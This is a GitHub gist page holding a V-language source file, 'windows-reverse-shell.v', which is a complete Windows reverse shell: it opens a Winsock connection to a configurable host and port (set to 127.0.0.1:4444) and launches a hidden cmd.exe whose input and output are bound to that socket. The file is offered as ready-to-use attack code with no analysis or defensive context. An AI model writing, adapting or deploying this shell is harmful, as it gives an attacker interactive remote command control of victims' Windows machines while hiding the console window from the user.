Skip to content

Instantly share code, notes, and snippets.

@qtc-de
Created August 16, 2022 19:39
Show Gist options
  • Select an option

  • Save qtc-de/01b3b24947821f4ada32ece19b3b0c23 to your computer and use it in GitHub Desktop.

Select an option

Save qtc-de/01b3b24947821f4ada32ece19b3b0c23 to your computer and use it in GitHub Desktop.

Revisions

  1. qtc-de created this gist Aug 16, 2022.
    118 changes: 118 additions & 0 deletions windows-reverse-shell.v
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,118 @@
    #flag -lws2_32
    #include "winsock2.h"

    struct WSADATA {
    mut:
    w_version u16
    w_high_version u16
    i_max_sockets u16
    i_max_udp_dg u16
    lp_vendor_info &string = 0
    sz_description [257]char
    sz_system_status [129]char
    }

    struct SOCKADDR_IN {
    mut:
    sin_family u16
    sin_port u16
    sin_addr u32
    sin_zero [8]char
    }

    struct StartupInfo {
    mut:
    cb u32
    lp_reserved &u16
    lp_desktop &u16
    lp_title &u16
    dw_x u32
    dw_y u32
    dw_x_size u32
    dw_y_size u32
    dw_x_count_chars u32
    dw_y_count_chars u32
    dw_fill_attributes u32
    dw_flags u32
    w_show_window u16
    cb_reserved2 u16
    lp_reserved2 &byte
    h_std_input voidptr
    h_std_output voidptr
    h_std_error voidptr
    }

    struct ProcessInformation {
    mut:
    h_process voidptr
    h_thread voidptr
    dw_process_id u32
    dw_thread_id u32
    }

    fn C.WSAStartup(u16, &WSADATA) int
    fn C.WSACleanup() int
    fn C.WSASocketA(i32, i32, i32, voidptr, u32, u32) voidptr
    fn C.connect(voidptr, &SOCKADDR_IN, int) int
    fn C.inet_addr(&char) u32
    fn C.htons(u16) u16
    fn C.WSAGetLastError() i32
    fn C.closesocket(voidptr) int
    fn C.CreateProcessW(lpApplicationName &u16, lpCommandLine &u16, lpProcessAttributes voidptr, lpThreadAttributes voidptr, bInheritHandles bool, dwCreationFlags u32, lpEnvironment voidptr, lpCurrentDirectory &u16, lpStartupInfo voidptr, lpProcessInformation voidptr) bool
    fn C.GetLastError() u32

    fn main() {
    shell(c'127.0.0.1', 4444)
    }

    fn shell(host &char, port u16) {
    data := WSADATA{}
    mut error := C.WSAStartup(u16(0x202), &data)

    if error != 0 {
    println('[-] WSAStartup return value: $error')
    return
    }

    socket := C.WSASocketA(C.AF_INET, C.SOCK_STREAM, 0, 0, 0, 0)
    if socket == C.INVALID_SOCKET {
    msg := C.WSAGetLastError()
    println('[-] WSASocket error: $msg')
    return
    }

    mut addr := SOCKADDR_IN{}
    addr.sin_family = 2
    addr.sin_addr = C.inet_addr(host)
    addr.sin_port = C.htons(port)

    error = C.connect(socket, &addr, sizeof(C.SOCKADDR_IN))
    if error != 0 {
    println('[-] WSA connect error: $error')
    return
    }

    mut start_info := StartupInfo{
    lp_reserved2: 0
    lp_reserved: 0
    lp_desktop: 0
    lp_title: 0
    cb: sizeof(C.PROCESS_INFORMATION)
    }

    mut proc_info := ProcessInformation{}

    start_info.h_std_input = socket
    start_info.h_std_output = socket
    start_info.h_std_error = socket
    start_info.dw_flags = u32(C.STARTF_USESTDHANDLES)

    create_process_ok := C.CreateProcessW(0, 'cmd.exe'.to_wide(), 0, 0, C.TRUE, C.CREATE_NO_WINDOW,
    0, 0, voidptr(&start_info), voidptr(&proc_info))
    C.closesocket(socket)

    if !create_process_ok {
    perror := C.GetLastError()
    println('[-] CreateProcessW error: $perror')
    }
    }